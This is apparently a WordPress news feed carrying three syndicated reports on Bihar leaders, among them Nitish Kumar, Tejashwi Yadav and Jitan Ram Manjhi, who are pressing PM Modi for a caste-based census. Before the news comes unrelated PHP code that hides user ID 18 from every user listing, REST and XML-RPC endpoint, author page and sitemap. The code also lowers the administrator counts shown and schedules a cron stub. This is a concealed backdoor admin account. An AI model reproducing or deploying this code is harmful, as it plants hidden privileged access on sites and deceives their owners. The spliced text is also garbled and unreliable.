add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Hope that the Central government will reconsider its decision to hold the caste-based census : Jitan Ram Manjhi appeared first on The Edge Media.
]]>Manjhi is part of the delegation of 11 parties led by Bihar Chief Minister Nitish Kumar which is going to meet Prime Minister Narendra Modi today over the caste-based census.
“There has been a long-standing demand for the caste-based census in Bihar. Bihar Assembly has unanimously sent a proposal for the census to the Central government twice. But since there was no response from PM Modi, we decided to meet him personally,” the HAM president told ANI.
“The last caste-based census was done in 1931 in Bihar. This census is important to know the caste demography in the society and will help the government to work for the welfare of the minorities,” he added.
On being asked about the refusal of the Ministry of Home Affairs to conduct a caste-based census, Manjhi said: “I hope the government will reconsider its decision.”
“The government even keeps a count of the animals in the country. These are the people of the country. I hope PM Modi will understand this and give us a positive answer,” he said.
Rashtriya Janata Party (RJD) Tejashwi Yadav, who is also in Delhi to attend the meeting with the Prime Minister said: “Twice resolutions have been passed in Bihar Assembly for caste census in the state. With such a census we can get data that can help in preparing relevant benefit schemes for people from different sections of society.”
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Hope that the Central government will reconsider its decision to hold the caste-based census : Jitan Ram Manjhi appeared first on The Edge Media.
]]>The post Nitish Kumar to meet PM Modi on Monday to demand a caste-based Census appeared first on The Edge Media.
]]>“The respected Prime Minister has granted time at 11 am the day after tomorrow. An entire list of the delegation has been sent to him and also members of the ten parties going to the meeting,” Mr Kumar told reporters in Patna today.
“Right now, we are going to request that the Census must be conducted based on caste. It is up to the Centre to decide,” he said.
If such an exercise is conducted for the whole nation, the Chief Minister said, it would be “very beneficial”. He told media persons that there was demand everywhere for such an exercise.
The idea of such a delegation was mooted by the Mahagatbandhan alliance led by Mr Yadav, which had formally urged the Chief Minister to seek an appointment with PM Modi.
The BJP, an ally in Mr Kumar’s NDA regime in Bihar, has named Mr Ram as its representative in the delegation and not the Deputy Chief Ministers it has in the government.
This is significant and shows that PM Modi’s party doesn’t want to miss the caste-based Census bus. Yet, it is also signalling to its upper castes constituency that the party was being coerced into joining the delegation even though it was not important enough for senior leaders to be part of.
On August 9, Mr Kumar had said that if the Central government does not hold such a Census, a discussion may be initiated in the state on carrying out an exercise to enumerate caste data in Bihar. His statement came days after failing to elicit any response to a letter he wrote to PM Modi on the matter.
A few days later, Mr Yadav said the Prime Minister had insulted Chief Minister Kumar by not granting him the time sought to meet and discuss the matter.
Fresh demands for a caste-based Census have been triggered by a statement by the Centre in Parliament recently that an exercise to ascertain the population of only Scheduled Castes and Scheduled Tribes was under consideration.
The post Nitish Kumar to meet PM Modi on Monday to demand a caste-based Census appeared first on The Edge Media.
]]>The post Nitish Kumar has agreed to take up the issue of a caste-based census with PM Modi : Tejashwi Yadav appeared first on The Edge Media.
]]>Mr Yadav said this while talking to reporters after calling on the chief minister inside the assembly premises, leading a delegation of leaders of the five-party Grand Alliance helmed by his RJD.
The Centre’s recent statement in the Parliament that a caste-based census would include only the Scheduled Tribes and Scheduled Castes has triggered a fresh demand for inclusion of the OBCs, who dominate the political scenario in Bihar post implementation of the Mandal commission report.
“The chief minister told us that he agreed with our demand for a caste based census. He said he was leaving for Delhi later in the day. Upon his return on August 02 he will write to the Prime Minister and seek an appointment”, Mr Yadav said.
The former Deputy Chief Minister has been suggesting that the chief minister should meet the PM heading a delegation, which could include the leader of the opposition, to broach the subject.
Notably, Mr Kumar, an OBC himself, too has repeatedly spoken in favour of holding a caste-based census and recently urged the centre to reconsider its stance on the issue.
Besides, resolutions in support of a caste-based census have been passed unanimously by both Houses of the state legislature in the past.
The post Nitish Kumar has agreed to take up the issue of a caste-based census with PM Modi : Tejashwi Yadav appeared first on The Edge Media.
]]>